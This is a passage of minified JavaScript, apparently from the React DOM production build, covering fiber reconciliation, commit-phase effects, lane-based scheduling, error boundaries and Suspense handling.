hd(a)&&(e=c),c=c.sibling;c=e;null===c?(e=b.child,b.child=null):(e=c.sibling,c.sibling=null);Ve(b,!1,e,c,f,b.lastEffect);break;case "backwards":c=null;e=b.child;for(b.child=null;null!==e;){a=e.alternate;if(null!==a&&null===hd(a)){b.child=e;break}a=e.sibling;e.sibling=c;c=e;e=a}Ve(b,!0,c,null,f,b.lastEffect);break;case "together":Ve(b,!1,null,null,void 0,b.lastEffect);break;default:b.memoizedState=null}return b.child}function sa(a,b,c){null!==a&&(b.dependencies=a.dependencies);La|=b.lanes;if(0!==(c&
b.childLanes)){if(null!==a&&b.child!==a.child)throw Error(m(153));if(null!==b.child){a=b.child;c=Ma(a,a.pendingProps);b.child=c;for(c.return=b;null!==a.sibling;)a=a.sibling,c=c.sibling=Ma(a,a.pendingProps),c.return=b;c.sibling=null}return b.child}return null}function oc(a,b){if(!la)switch(a.tailMode){case "hidden":b=a.tail;for(var c=null;null!==b;)null!==b.alternate&&(c=b),b=b.sibling;null===c?a.tail=null:c.sibling=null;break;case "collapsed":c=a.tail;for(var d=null;null!==c;)null!==c.alternate&&
(d=c),c=c.sibling;null===d?b||null===a.tail?a.tail=null:a.tail.sibling=null:d.sibling=null}}function vj(a,b,c){var d=b.pendingProps;switch(b.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return null;case 1:return S(b.type)&&(t(J),t(D)),null;case 3:Ab();t(J);t(D);Je();d=b.stateNode;d.pendingContext&&(d.context=d.pendingContext,d.pendingContext=null);if(null===a||null===a.child)id(b)?b.flags|=4:d.hydrate||(b.flags|=256);Kh(b);return null;case 5:Ge(b);var e=$a(gc.current);
c=b.type;if(null!==a&&null!=b.stateNode)wj(a,b,c,d,e),a.ref!==b.ref&&(b.flags|=128);else{if(!d){if(null===b.stateNode)throw Error(m(166));return null}a=$a(ka.current);if(id(b)){d=b.stateNode;c=b.type;var f=b.memoizedProps;d[Fa]=b;d[Wc]=f;switch(c){case "dialog":z("cancel",d);z("close",d);break;case "iframe":case "object":case "embed":z("load",d);break;case "video":case "audio":for(a=0;a<pc.length;a++)z(pc[a],d);break;case "source":z("error",d);break;case "img":case "image":case "link":z("error",d);
z("load",d);break;case "details":z("toggle",d);break;case "input":Gf(d,f);z("invalid",d);break;case "select":d._wrapperState={wasMultiple:!!f.multiple};z("invalid",d);break;case "textarea":Jf(d,f),z("invalid",d)}Sd(c,f);a=null;for(var g in f)f.hasOwnProperty(g)&&(e=f[g],"children"===g?"string"===typeof e?d.textContent!==e&&(a=["children",e]):"number"===typeof e&&d.textContent!==""+e&&(a=["children",""+e]):Ib.hasOwnProperty(g)&&null!=e&&"onScroll"===g&&z("scroll",d));switch(c){case "input":Fc(d);If(d,
f,!0);break;case "textarea":Fc(d);Lf(d);break;case "select":case "option":break;default:"function"===typeof f.onClick&&(d.onclick=Vc)}d=a;b.updateQueue=d;null!==d&&(b.flags|=4)}else{g=9===e.nodeType?e:e.ownerDocument;"http://www.w3.org/1999/xhtml"===a&&(a=Mf(c));"http://www.w3.org/1999/xhtml"===a?"script"===c?(a=g.createElement("div"),a.innerHTML="<script>\x3c/script>",a=a.removeChild(a.firstChild)):"string"===typeof d.is?a=g.createElement(c,{is:d.is}):(a=g.createElement(c),"select"===c&&(g=a,d.multiple?
g.multiple=!0:d.size&&(g.size=d.size))):a=g.createElementNS(a,c);a[Fa]=b;a[Wc]=d;xj(a,b,!1,!1);b.stateNode=a;g=Td(c,d);switch(c){case "dialog":z("cancel",a);z("close",a);e=d;break;case "iframe":case "object":case "embed":z("load",a);e=d;break;case "video":case "audio":for(e=0;e<pc.length;e++)z(pc[e],a);e=d;break;case "source":z("error",a);e=d;break;case "img":case "image":case "link":z("error",a);z("load",a);e=d;break;case "details":z("toggle",a);e=d;break;case "input":Gf(a,d);e=Md(a,d);z("invalid",
a);break;case "option":e=Pd(a,d);break;case "select":a._wrapperState={wasMultiple:!!d.multiple};e=B({},d,{value:void 0});z("invalid",a);break;case "textarea":Jf(a,d);e=Qd(a,d);z("invalid",a);break;default:e=d}Sd(c,e);var h=e;for(f in h)if(h.hasOwnProperty(f)){var k=h[f];"style"===f?Of(a,k):"dangerouslySetInnerHTML"===f?(k=k?k.__html:void 0,null!=k&&Lh(a,k)):"children"===f?"string"===typeof k?("textarea"!==c||""!==k)&&qc(a,k):"number"===typeof k&&qc(a,""+k):"suppressContentEditableWarning"!==f&&"suppressHydrationWarning"!==
f&&"autoFocus"!==f&&(Ib.hasOwnProperty(f)?null!=k&&"onScroll"===f&&z("scroll",a):null!=k&&Ed(a,f,k,g))}switch(c){case "input":Fc(a);If(a,d,!1);break;case "textarea":Fc(a);Lf(a);break;case "option":null!=d.value&&a.setAttribute("value",""+xa(d.value));break;case "select":a.multiple=!!d.multiple;f=d.value;null!=f?ib(a,!!d.multiple,f,!1):null!=d.defaultValue&&ib(a,!!d.multiple,d.defaultValue,!0);break;default:"function"===typeof e.onClick&&(a.onclick=Vc)}Pg(c,d)&&(b.flags|=4)}null!==b.ref&&(b.flags|=
128)}return null;case 6:if(a&&null!=b.stateNode)yj(a,b,a.memoizedProps,d);else{if("string"!==typeof d&&null===b.stateNode)throw Error(m(166));c=$a(gc.current);$a(ka.current);id(b)?(d=b.stateNode,c=b.memoizedProps,d[Fa]=b,d.nodeValue!==c&&(b.flags|=4)):(d=(9===c.nodeType?c:c.ownerDocument).createTextNode(d),d[Fa]=b,b.stateNode=d)}return null;case 13:t(E);d=b.memoizedState;if(0!==(b.flags&64))return b.lanes=c,b;d=null!==d;c=!1;null===a?void 0!==b.memoizedProps.fallback&&id(b):c=null!==a.memoizedState;
if(d&&!c&&0!==(b.mode&2))if(null===a&&!0!==b.memoizedProps.unstable_avoidThisFallback||0!==(E.current&1))0===L&&(L=3);else{if(0===L||3===L)L=4;null===R||0===(La&134217727)&&0===(Cb&134217727)||Db(R,O)}if(d||c)b.flags|=4;return null;case 4:return Ab(),Kh(b),null===a&&Cg(b.stateNode.containerInfo),null;case 10:return Ae(b),null;case 17:return S(b.type)&&(t(J),t(D)),null;case 19:t(E);d=b.memoizedState;if(null===d)return null;f=0!==(b.flags&64);g=d.rendering;if(null===g)if(f)oc(d,!1);else{if(0!==L||null!==
a&&0!==(a.flags&64))for(a=b.child;null!==a;){g=hd(a);if(null!==g){b.flags|=64;oc(d,!1);f=g.updateQueue;null!==f&&(b.updateQueue=f,b.flags|=4);null===d.lastEffect&&(b.firstEffect=null);b.lastEffect=d.lastEffect;d=c;for(c=b.child;null!==c;)f=c,a=d,f.flags&=2,f.nextEffect=null,f.firstEffect=null,f.lastEffect=null,g=f.alternate,null===g?(f.childLanes=0,f.lanes=a,f.child=null,f.memoizedProps=null,f.memoizedState=null,f.updateQueue=null,f.dependencies=null,f.stateNode=null):(f.childLanes=g.childLanes,f.lanes=
g.lanes,f.child=g.child,f.memoizedProps=g.memoizedProps,f.memoizedState=g.memoizedState,f.updateQueue=g.updateQueue,f.type=g.type,a=g.dependencies,f.dependencies=null===a?null:{lanes:a.lanes,firstContext:a.firstContext}),c=c.sibling;A(E,E.current&1|2);return b.child}a=a.sibling}null!==d.tail&&P()>We&&(b.flags|=64,f=!0,oc(d,!1),b.lanes=33554432)}else{if(!f)if(a=hd(g),null!==a){if(b.flags|=64,f=!0,c=a.updateQueue,null!==c&&(b.updateQueue=c,b.flags|=4),oc(d,!0),null===d.tail&&"hidden"===d.tailMode&&
!g.alternate&&!la)return b=b.lastEffect=d.lastEffect,null!==b&&(b.nextEffect=null),null}else 2*P()-d.renderingStartTime>We&&1073741824!==c&&(b.flags|=64,f=!0,oc(d,!1),b.lanes=33554432);d.isBackwards?(g.sibling=b.child,b.child=g):(c=d.last,null!==c?c.sibling=g:b.child=g,d.last=g)}return null!==d.tail?(c=d.tail,d.rendering=c,d.tail=c.sibling,d.lastEffect=b.lastEffect,d.renderingStartTime=P(),c.sibling=null,b=E.current,A(E,f?b&1|2:b&1),c):null;case 23:case 24:return ta=cb.current,t(cb),null!==a&&null!==
a.memoizedState!==(null!==b.memoizedState)&&"unstable-defer-without-hiding"!==d.mode&&(b.flags|=4),null}throw Error(m(156,b.tag));}function zj(a,b){switch(a.tag){case 1:return S(a.type)&&(t(J),t(D)),b=a.flags,b&4096?(a.flags=b&-4097|64,a):null;case 3:Ab();t(J);t(D);Je();b=a.flags;if(0!==(b&64))throw Error(m(285));a.flags=b&-4097|64;return a;case 5:return Ge(a),null;case 13:return t(E),b=a.flags,b&4096?(a.flags=b&-4097|64,a):null;case 19:return t(E),null;case 4:return Ab(),null;case 10:return Ae(a),
null;case 23:case 24:return ta=cb.current,t(cb),null;default:return null}}function Xe(a,b){try{var c="",d=b;do c+=pi(d),d=d.return;while(d);var e=c}catch(f){e="\nError generating stack: "+f.message+"\n"+f.stack}return{value:a,source:b,stack:e}}function Ye(a,b){try{console.error(b.value)}catch(c){setTimeout(function(){throw c;})}}function Mh(a,b,c){c=Ia(-1,c);c.tag=3;c.payload={element:null};var d=b.value;c.callback=function(){rd||(rd=!0,Ze=d);Ye(a,b)};return c}function Nh(a,b,c){c=Ia(-1,c);c.tag=
3;var d=a.type.getDerivedStateFromError;if("function"===typeof d){var e=b.value;c.payload=function(){Ye(a,b);return d(e)}}var f=a.stateNode;null!==f&&"function"===typeof f.componentDidCatch&&(c.callback=function(){"function"!==typeof d&&(null===na?na=new Set([this]):na.add(this),Ye(a,b));var c=b.stack;this.componentDidCatch(b.value,{componentStack:null!==c?c:""})});return c}function Oh(a){var b=a.ref;if(null!==b)if("function"===typeof b)try{b(null)}catch(c){Qa(a,c)}else b.current=null}function Aj(a,
b){switch(b.tag){case 0:case 11:case 15:case 22:return;case 1:if(b.flags&256&&null!==a){var c=a.memoizedProps,d=a.memoizedState;a=b.stateNode;b=a.getSnapshotBeforeUpdate(b.elementType===b.type?c:ea(b.type,c),d);a.__reactInternalSnapshotBeforeUpdate=b}return;case 3:b.flags&256&&te(b.stateNode.containerInfo);return;case 5:case 6:case 4:case 17:return}throw Error(m(163));}function Bj(a,b,c,d){switch(c.tag){case 0:case 11:case 15:case 22:b=c.updateQueue;b=null!==b?b.lastEffect:null;if(null!==b){a=b=b.next;
do 3===(a.tag&3)&&(d=a.create,a.destroy=d()),a=a.next;while(a!==b)}b=c.updateQueue;b=null!==b?b.lastEffect:null;if(null!==b){a=b=b.next;do{var e=a;d=e.next;e=e.tag;0!==(e&4)&&0!==(e&1)&&(Ph(c,a),Cj(c,a));a=d}while(a!==b)}return;case 1:a=c.stateNode;c.flags&4&&(null===b?a.componentDidMount():(d=c.elementType===c.type?b.memoizedProps:ea(c.type,b.memoizedProps),a.componentDidUpdate(d,b.memoizedState,a.__reactInternalSnapshotBeforeUpdate)));b=c.updateQueue;null!==b&&dh(c,b,a);return;case 3:b=c.updateQueue;
if(null!==b){a=null;if(null!==c.child)switch(c.child.tag){case 5:a=c.child.stateNode;break;case 1:a=c.child.stateNode}dh(c,b,a)}return;case 5:a=c.stateNode;null===b&&c.flags&4&&Pg(c.type,c.memoizedProps)&&a.focus();return;case 6:return;case 4:return;case 12:return;case 13:null===c.memoizedState&&(c=c.alternate,null!==c&&(c=c.memoizedState,null!==c&&(c=c.dehydrated,null!==c&&bg(c))));return;case 19:case 17:case 20:case 21:case 23:case 24:return}throw Error(m(163));}function Qh(a,b){for(var c=a;;){if(5===
c.tag){var d=c.stateNode;if(b)d=d.style,"function"===typeof d.setProperty?d.setProperty("display","none","important"):d.display="none";else{d=c.stateNode;var e=c.memoizedProps.style;e=void 0!==e&&null!==e&&e.hasOwnProperty("display")?e.display:null;d.style.display=Nf("display",e)}}else if(6===c.tag)c.stateNode.nodeValue=b?"":c.memoizedProps;else if((23!==c.tag&&24!==c.tag||null===c.memoizedState||c===a)&&null!==c.child){c.child.return=c;c=c.child;continue}if(c===a)break;for(;null===c.sibling;){if(null===
c.return||c.return===a)return;c=c.return}c.sibling.return=c.return;c=c.sibling}}function Rh(a,b,c){if(db&&"function"===typeof db.onCommitFiberUnmount)try{db.onCommitFiberUnmount($e,b)}catch(f){}switch(b.tag){case 0:case 11:case 14:case 15:case 22:a=b.updateQueue;if(null!==a&&(a=a.lastEffect,null!==a)){c=a=a.next;do{var d=c,e=d.destroy;d=d.tag;if(void 0!==e)if(0!==(d&4))Ph(b,c);else{d=b;try{e()}catch(f){Qa(d,f)}}c=c.next}while(c!==a)}break;case 1:Oh(b);a=b.stateNode;if("function"===typeof a.componentWillUnmount)try{a.props=
b.memoizedProps,a.state=b.memoizedState,a.componentWillUnmount()}catch(f){Qa(b,f)}break;case 5:Oh(b);break;case 4:Sh(a,b)}}function Th(a){a.alternate=null;a.child=null;a.dependencies=null;a.firstEffect=null;a.lastEffect=null;a.memoizedProps=null;a.memoizedState=null;a.pendingProps=null;a.return=null;a.updateQueue=null}function Uh(a){return 5===a.tag||3===a.tag||4===a.tag}function Vh(a){a:{for(var b=a.return;null!==b;){if(Uh(b))break a;b=b.return}throw Error(m(160));}var c=b;b=c.stateNode;switch(c.tag){case 5:var d=
!1;break;case 3:b=b.containerInfo;d=!0;break;case 4:b=b.containerInfo;d=!0;break;default:throw Error(m(161));}c.flags&16&&(qc(b,""),c.flags&=-17);a:b:for(c=a;;){for(;null===c.sibling;){if(null===c.return||Uh(c.return)){c=null;break a}c=c.return}c.sibling.return=c.return;for(c=c.sibling;5!==c.tag&&6!==c.tag&&18!==c.tag;){if(c.flags&2)continue b;if(null===c.child||4===c.tag)continue b;else c.child.return=c,c=c.child}if(!(c.flags&2)){c=c.stateNode;break a}}d?af(a,c,b):bf(a,c,b)}function af(a,b,c){var d=
a.tag,e=5===d||6===d;if(e)a=e?a.stateNode:a.stateNode.instance,b?8===c.nodeType?c.parentNode.insertBefore(a,b):c.insertBefore(a,b):(8===c.nodeType?(b=c.parentNode,b.insertBefore(a,c)):(b=c,b.appendChild(a)),c=c._reactRootContainer,null!==c&&void 0!==c||null!==b.onclick||(b.onclick=Vc));else if(4!==d&&(a=a.child,null!==a))for(af(a,b,c),a=a.sibling;null!==a;)af(a,b,c),a=a.sibling}function bf(a,b,c){var d=a.tag,e=5===d||6===d;if(e)a=e?a.stateNode:a.stateNode.instance,b?c.insertBefore(a,b):c.appendChild(a);
else if(4!==d&&(a=a.child,null!==a))for(bf(a,b,c),a=a.sibling;null!==a;)bf(a,b,c),a=a.sibling}function Sh(a,b,c){c=b;for(var d=!1,e,f;;){if(!d){e=c.return;a:for(;;){if(null===e)throw Error(m(160));f=e.stateNode;switch(e.tag){case 5:e=f;f=!1;break a;case 3:e=f.containerInfo;f=!0;break a;case 4:e=f.containerInfo;f=!0;break a}e=e.return}d=!0}if(5===c.tag||6===c.tag){a:for(var g=a,h=c,k=h;;)if(Rh(g,k),null!==k.child&&4!==k.tag)k.child.return=k,k=k.child;else{if(k===h)break a;for(;null===k.sibling;){if(null===
k.return||k.return===h)break a;k=k.return}k.sibling.return=k.return;k=k.sibling}f?(g=e,h=c.stateNode,8===g.nodeType?g.parentNode.removeChild(h):g.removeChild(h)):e.removeChild(c.stateNode)}else if(4===c.tag){if(null!==c.child){e=c.stateNode.containerInfo;f=!0;c.child.return=c;c=c.child;continue}}else if(Rh(a,c),null!==c.child){c.child.return=c;c=c.child;continue}if(c===b)break;for(;null===c.sibling;){if(null===c.return||c.return===b)return;c=c.return;4===c.tag&&(d=!1)}c.sibling.return=c.return;c=
c.sibling}}function cf(a,b){switch(b.tag){case 0:case 11:case 14:case 15:case 22:var c=b.updateQueue;c=null!==c?c.lastEffect:null;if(null!==c){var d=c=c.next;do 3===(d.tag&3)&&(a=d.destroy,d.destroy=void 0,void 0!==a&&a()),d=d.next;while(d!==c)}return;case 1:return;case 5:c=b.stateNode;if(null!=c){d=b.memoizedProps;var e=null!==a?a.memoizedProps:d;a=b.type;var f=b.updateQueue;b.updateQueue=null;if(null!==f){c[Wc]=d;"input"===a&&"radio"===d.type&&null!=d.name&&Hf(c,d);Td(a,e);b=Td(a,d);for(e=0;e<f.length;e+=
2){var g=f[e],h=f[e+1];"style"===g?Of(c,h):"dangerouslySetInnerHTML"===g?Lh(c,h):"children"===g?qc(c,h):Ed(c,g,h,b)}switch(a){case "input":Nd(c,d);break;case "textarea":Kf(c,d);break;case "select":a=c._wrapperState.wasMultiple,c._wrapperState.wasMultiple=!!d.multiple,f=d.value,null!=f?ib(c,!!d.multiple,f,!1):a!==!!d.multiple&&(null!=d.defaultValue?ib(c,!!d.multiple,d.defaultValue,!0):ib(c,!!d.multiple,d.multiple?[]:"",!1))}}}return;case 6:if(null===b.stateNode)throw Error(m(162));b.stateNode.nodeValue=
b.memoizedProps;return;case 3:c=b.stateNode;c.hydrate&&(c.hydrate=!1,bg(c.containerInfo));return;case 12:return;case 13:null!==b.memoizedState&&(df=P(),Qh(b.child,!0));Wh(b);return;case 19:Wh(b);return;case 17:return;case 23:case 24:Qh(b,null!==b.memoizedState);return}throw Error(m(163));}function Wh(a){var b=a.updateQueue;if(null!==b){a.updateQueue=null;var c=a.stateNode;null===c&&(c=a.stateNode=new Dj);b.forEach(function(b){var d=Ej.bind(null,a,b);c.has(b)||(c.add(b),b.then(d,d))})}}function Fj(a,
b){return null!==a&&(a=a.memoizedState,null===a||null!==a.dehydrated)?(b=b.memoizedState,null!==b&&null===b.dehydrated):!1}function Eb(){We=P()+500}function W(){return 0!==(n&48)?P():-1!==sd?sd:sd=P()}function Oa(a){a=a.mode;if(0===(a&2))return 1;if(0===(a&4))return 99===wb()?1:2;0===ua&&(ua=Fb);if(0!==Gj.transition){0!==td&&(td=null!==ef?ef.pendingLanes:0);a=ua;var b=4186112&~td;b&=-b;0===b&&(a=4186112&~a,b=a&-a,0===b&&(b=8192));return b}a=wb();0!==(n&4)&&98===a?a=Nc(12,ua):(a=Fi(a),a=Nc(a,ua));
return a}function Pa(a,b,c){if(50<rc)throw rc=0,ff=null,Error(m(185));a=ud(a,b);if(null===a)return null;Oc(a,b,c);a===R&&(Cb|=b,4===L&&Db(a,O));var d=wb();1===b?0!==(n&8)&&0===(n&48)?gf(a):(ba(a,c),0===n&&(Eb(),ja())):(0===(n&4)||98!==d&&99!==d||(null===va?va=new Set([a]):va.add(a)),ba(a,c));ef=a}function ud(a,b){a.lanes|=b;var c=a.alternate;null!==c&&(c.lanes|=b);c=a;for(a=a.return;null!==a;)a.childLanes|=b,c=a.alternate,null!==c&&(c.childLanes|=b),c=a,a=a.return;return 3===c.tag?c.stateNode:null}
function ba(a,b){for(var c=a.callbackNode,d=a.suspendedLanes,e=a.pingedLanes,f=a.expirationTimes,g=a.pendingLanes;0<g;){var h=31-Ba(g),k=1<<h,l=f[h];if(-1===l){if(0===(k&d)||0!==(k&e)){l=b;mb(k);var m=w;f[h]=10<=m?l+250:6<=m?l+5E3:-1}}else l<=b&&(a.expiredLanes|=k);g&=~k}d=Wb(a,a===R?O:0);b=w;if(0===d)null!==c&&(c!==hf&&xe(c),a.callbackNode=null,a.callbackPriority=0);else{if(null!==c){if(a.callbackPriority===b)return;c!==hf&&xe(c)}15===b?(c=gf.bind(null,a),null===pa?(pa=[c],Zc=we(Yc,$g)):pa.push(c),
c=hf):14===b?c=bc(99,gf.bind(null,a)):(c=Gi(b),c=bc(c,Xh.bind(null,a)));a.callbackPriority=b;a.callbackNode=c}}function Xh(a){sd=-1;td=ua=0;if(0!==(n&48))throw Error(m(327));var b=a.callbackNode;if(Ra()&&a.callbackNode!==b)return null;var c=Wb(a,a===R?O:0);if(0===c)return null;var d=c;var e=n;n|=16;var f=Yh();if(R!==a||O!==d)Eb(),Gb(a,d);do try{Hj();break}catch(h){Zh(a,h)}while(1);ze();vd.current=f;n=e;null!==G?d=0:(R=null,O=0,d=L);if(0!==(Fb&Cb))Gb(a,0);else if(0!==d){2===d&&(n|=64,a.hydrate&&(a.hydrate=
!1,te(a.containerInfo)),c=eg(a),0!==c&&(d=sc(a,c)));if(1===d)throw b=wd,Gb(a,0),Db(a,c),ba(a,P()),b;a.finishedWork=a.current.alternate;a.finishedLanes=c;switch(d){case 0:case 1:throw Error(m(345));case 2:eb(a);break;case 3:Db(a,c);if((c&62914560)===c&&(d=df+500-P(),10<d)){if(0!==Wb(a,0))break;e=a.suspendedLanes;if((e&c)!==c){W();a.pingedLanes|=a.suspendedLanes&e;break}a.timeoutHandle=$h(eb.bind(null,a),d);break}eb(a);break;case 4:Db(a,c);if((c&4186112)===c)break;d=a.eventTimes;for(e=-1;0<c;){var g=
31-Ba(c);f=1<<g;g=d[g];g>e&&(e=g);c&=~f}c=e;c=P()-c;c=(120>c?120:480>c?480:1080>c?1080:1920>c?1920:3E3>c?3E3:4320>c?4320:1960*Ij(c/1960))-c;if(10<c){a.timeoutHandle=$h(eb.bind(null,a),c);break}eb(a);break;case 5:eb(a);break;default:throw Error(m(329));}}ba(a,P());return a.callbackNode===b?Xh.bind(null,a):null}function Db(a,b){b&=~jf;b&=~Cb;a.suspendedLanes|=b;a.pingedLanes&=~b;for(a=a.expirationTimes;0<b;){var c=31-Ba(b),d=1<<c;a[c]=-1;b&=~d}}function gf(a){if(0!==(n&48))throw Error(m(327));Ra();
if(a===R&&0!==(a.expiredLanes&O)){var b=O;var c=sc(a,b);0!==(Fb&Cb)&&(b=Wb(a,b),c=sc(a,b))}else b=Wb(a,0),c=sc(a,b);0!==a.tag&&2===c&&(n|=64,a.hydrate&&(a.hydrate=!1,te(a.containerInfo)),b=eg(a),0!==b&&(c=sc(a,b)));if(1===c)throw c=wd,Gb(a,0),Db(a,b),ba(a,P()),c;a.finishedWork=a.current.alternate;a.finishedLanes=b;eb(a);ba(a,P());return null}function Jj(){if(null!==va){var a=va;va=null;a.forEach(function(a){a.expiredLanes|=24&a.pendingLanes;ba(a,P())})}ja()}function ai(a,b){var c=n;n|=1;try{return a(b)}finally{n=
c,0===n&&(Eb(),ja())}}function bi(a,b){var c=n;n&=-2;n|=8;try{return a(b)}finally{n=c,0===n&&(Eb(),ja())}}function pd(a,b){A(cb,ta);ta|=b;Fb|=b}function Gb(a,b){a.finishedWork=null;a.finishedLanes=0;var c=a.timeoutHandle;-1!==c&&(a.timeoutHandle=-1,Kj(c));if(null!==G)for(c=G.return;null!==c;){var d=c;switch(d.tag){case 1:d=d.type.childContextTypes;null!==d&&void 0!==d&&(t(J),t(D));break;case 3:Ab();t(J);t(D);Je();break;case 5:Ge(d);break;case 4:Ab();break;case 13:t(E);break;case 19:t(E);break;case 10:Ae(d);
break;case 23:case 24:ta=cb.current,t(cb)}c=c.return}R=a;G=Ma(a.current,null);O=ta=Fb=b;L=0;wd=null;jf=Cb=La=0}function Zh(a,b){do{var c=G;try{ze();jc.current=jd;if(kd){for(var d=y.memoizedState;null!==d;){var e=d.queue;null!==e&&(e.pending=null);d=d.next}kd=!1}ic=0;K=N=y=null;kc=!1;kf.current=null;if(null===c||null===c.return){L=1;wd=b;G=null;break}a:{var f=a,g=c.return,h=c,k=b;b=O;h.flags|=2048;h.firstEffect=h.lastEffect=null;if(null!==k&&"object"===typeof k&&"function"===typeof k.then){var l=k;
if(0===(h.mode&2)){var m=h.alternate;m?(h.updateQueue=m.updateQueue,h.memoizedState=m.memoizedState,h.lanes=m.lanes):(h.updateQueue=null,h.memoizedState=null)}var n=0!==(E.current&1),r=g;do{var t;if(t=13===r.tag){var w=r.memoizedState;if(null!==w)t=null!==w.dehydrated?!0:!1;else{var z=r.memoizedProps;t=void 0===z.fallback?!1:!0!==z.unstable_avoidThisFallback?!0:n?!1:!0}}if(t){var C=r.updateQueue;if(null===C){var x=new Set;x.add(l);r.updateQueue=x}else C.add(l);if(0===(r.mode&2)){r.flags|=64;h.flags|=
16384;h.flags&=-2981;if(1===h.tag)if(null===h.alternate)h.tag=17;else{var p=Ia(-1,1);p.tag=2;Ja(h,p)}h.lanes|=1;break a}k=void 0;h=b;var q=f.pingCache;null===q?(q=f.pingCache=new Lj,k=new Set,q.set(l,k)):(k=q.get(l),void 0===k&&(k=new Set,q.set(l,k)));if(!k.has(h)){k.add(h);var u=Mj.bind(null,f,l,h);l.then(u,u)}r.flags|=4096;r.lanes=b;break a}r=r.return}while(null!==r);k=Error((hb(h.type)||"A React component")+" suspended while rendering, but no fallback UI was specified.\n\nAdd a <Suspense fallback=...> component higher in the tree to provide a loading indicator or placeholder to display.")}5!==
L&&(L=2);k=Xe(k,h);r=g;do{switch(r.tag){case 3:f=k;r.flags|=4096;b&=-b;r.lanes|=b;var B=Mh(r,f,b);ch(r,B);break a;case 1:f=k;var A=r.type,D=r.stateNode;if(0===(r.flags&64)&&("function"===typeof A.getDerivedStateFromError||null!==D&&"function"===typeof D.componentDidCatch&&(null===na||!na.has(D)))){r.flags|=4096;b&=-b;r.lanes|=b;var F=Nh(r,f,b);ch(r,F);break a}}r=r.return}while(null!==r)}ci(c)}catch(qa){b=qa;G===c&&null!==c&&(G=c=c.return);continue}break}while(1)}function Yh(){var a=vd.current;vd.current=
jd;return null===a?jd:a}function sc(a,b){var c=n;n|=16;var d=Yh();R===a&&O===b||Gb(a,b);do try{Nj();break}catch(e){Zh(a,e)}while(1);ze();n=c;vd.current=d;if(null!==G)throw Error(m(261));R=null;O=0;return L}function Nj(){for(;null!==G;)di(G)}function Hj(){for(;null!==G&&!Oj();)di(G)}function di(a){var b=Pj(a.alternate,a,ta);a.memoizedProps=a.pendingProps;null===b?ci(a):G=b;kf.current=null}function ci(a){var b=a;do{var c=b.alternate;a=b.return;if(0===(b.flags&2048)){c=vj(c,b,ta);if(null!==c){G=c;return}c=
b;if(24!==c.tag&&23!==c.tag||null===c.memoizedState||0!==(ta&1073741824)||0===(c.mode&4)){for(var d=0,e=c.child;null!==e;)d|=e.lanes|e.childLanes,e=e.sibling;c.childLanes=d}null!==a&&0===(a.flags&2048)&&(null===a.firstEffect&&(a.firstEffect=b.firstEffect),null!==b.lastEffect&&(null!==a.lastEffect&&(a.lastEffect.nextEffect=b.firstEffect),a.lastEffect=b.lastEffect),1<b.flags&&(null!==a.lastEffect?a.lastEffect.nextEffect=b:a.firstEffect=b,a.lastEffect=b))}else{c=zj(b);if(null!==c){c.flags&=2047;G=c;
return}null!==a&&(a.firstEffect=a.lastEffect=null,a.flags|=2048)}b=b.sibling;if(null!==b){G=b;return}G=b=a}while(null!==b);0===L&&(L=5)}function eb(a){var b=wb();Za(99,Qj.bind(null,a,b));return null}function Qj(a,b){do Ra();while(null!==tc);if(0!==(n&48))throw Error(m(327));var c=a.finishedWork;if(null===c)return null;a.finishedWork=null;a.finishedLanes=0;if(c===a.current)throw Error(m(177));a.callbackNode=null;var d=c.lanes|c.childLanes,e=d,f=a.pendingLanes&~e;a.pendingLanes=e;a.suspendedLanes=0;
a.pingedLanes=0;a.expiredLanes&=e;a.mutableReadLanes&=e;a.entangledLanes&=e;e=a.entanglements;for(var g=a.eventTimes,h=a.expirationTimes;0<f;){var k=31-Ba(f),v=1<<k;e[k]=0;g[k]=-1;h[k]=-1;f&=~v}null!==va&&0===(d&24)&&va.has(a)&&va.delete(a);a===R&&(G=R=null,O=0);1<c.flags?null!==c.lastEffect?(c.lastEffect.nextEffect=c,d=c.firstEffect):d=c:d=c.firstEffect;if(null!==d){e=n;n|=32;kf.current=null;lf=Pc;g=xg();if(ne(g)){if("selectionStart"in g)h={start:g.selectionStart,end:g.selectionEnd};else a:if(h=
(h=g.ownerDocument)&&h.defaultView||window,(v=h.getSelection&&h.getSelection())&&0!==v.rangeCount){h=v.anchorNode;f=v.anchorOffset;k=v.focusNode;v=v.focusOffset;try{h.nodeType,k.nodeType}catch(qa){h=null;break a}var t=0,w=-1,r=-1,z=0,B=0,y=g,C=null;b:for(;;){for(var x;;){y!==h||0!==f&&3!==y.nodeType||(w=t+f);y!==k||0!==v&&3!==y.nodeType||(r=t+v);3===y.nodeType&&(t+=y.nodeValue.length);if(null===(x=y.firstChild))break;C=y;y=x}for(;;){if(y===g)break b;C===h&&++z===f&&(w=t);C===k&&++B===v&&(r=t);if(null!==
(x=y.nextSibling))break;y=C;C=y.parentNode}y=x}h=-1===w||-1===r?null:{start:w,end:r}}else h=null;h=h||{start:0,end:0}}else h=null;mf={focusedElem:g,selectionRange:h};Pc=!1;uc=null;xd=!1;l=d;do try{Rj()}catch(qa){if(null===l)throw Error(m(330));Qa(l,qa);l=l.nextEffect}while(null!==l);uc=null;l=d;do try{for(g=a;null!==l;){var p=l.flags;p&16&&qc(l.stateNode,"");if(p&128){var q=l.alternate;if(null!==q){var u=q.ref;null!==u&&("function"===typeof u?u(null):u.current=null)}}switch(p&1038){case 2:Vh(l);l.flags&=
-3;break;case 6:Vh(l);l.flags&=-3;cf(l.alternate,l);break;case 1024:l.flags&=-1025;break;case 1028:l.flags&=-1025;cf(l.alternate,l);break;case 4:cf(l.alternate,l);break;case 8:h=l;Sh(g,h);var A=h.alternate;Th(h);null!==A&&Th(A)}l=l.nextEffect}}catch(qa){if(null===l)throw Error(m(330));Qa(l,qa);l=l.nextEffect}while(null!==l);u=mf;q=xg();p=u.focusedElem;g=u.selectionRange;if(q!==p&&p&&p.ownerDocument&&wg(p.ownerDocument.documentElement,p)){null!==g&&ne(p)&&(q=g.start,u=g.end,void 0===u&&(u=q),"selectionStart"in
